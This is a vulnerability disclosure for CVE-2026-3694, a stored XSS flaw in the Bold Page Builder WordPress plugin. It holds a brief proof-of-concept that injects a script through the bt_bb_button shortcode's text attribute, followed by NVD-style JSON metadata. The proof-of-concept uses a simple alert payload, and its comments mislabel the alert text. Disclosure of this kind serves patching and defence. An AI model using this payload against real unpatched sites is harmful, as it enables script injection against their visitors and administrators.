CVE-2026-3694

<!-- PoC for CVE-2026-3694: Stored XSS via bt_bb_button text attribute --> <!-- Step 1: Log in as a user with Contributor-level access or higher. --> <!-- Step 2: Create a new Page or Post and insert the following shortcode into the content. --> [bt_bb_button text='"><script>alert(1)</script>' url="#"] <!-- Step 3: Publish the page. --> <!-- Step 4: Access the published page as an Administrator or regular user. --> <!-- Result: The JavaScript alert('XSS') will execute in the browser context. -->

{"cve": {"id": "CVE-2026-3694", "sourceIdentifier": "[email protected]", "published": "2026-05-14T07:16:18.680", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' attribute of the bt_bb_button shortcode in all versions up to, and including, 5.6.8. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3479329/bold-page-builder", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b28ad91f-40fa-476e-b41f-da4dd2372e21?source=cve", "source": "[email protected]"}]}}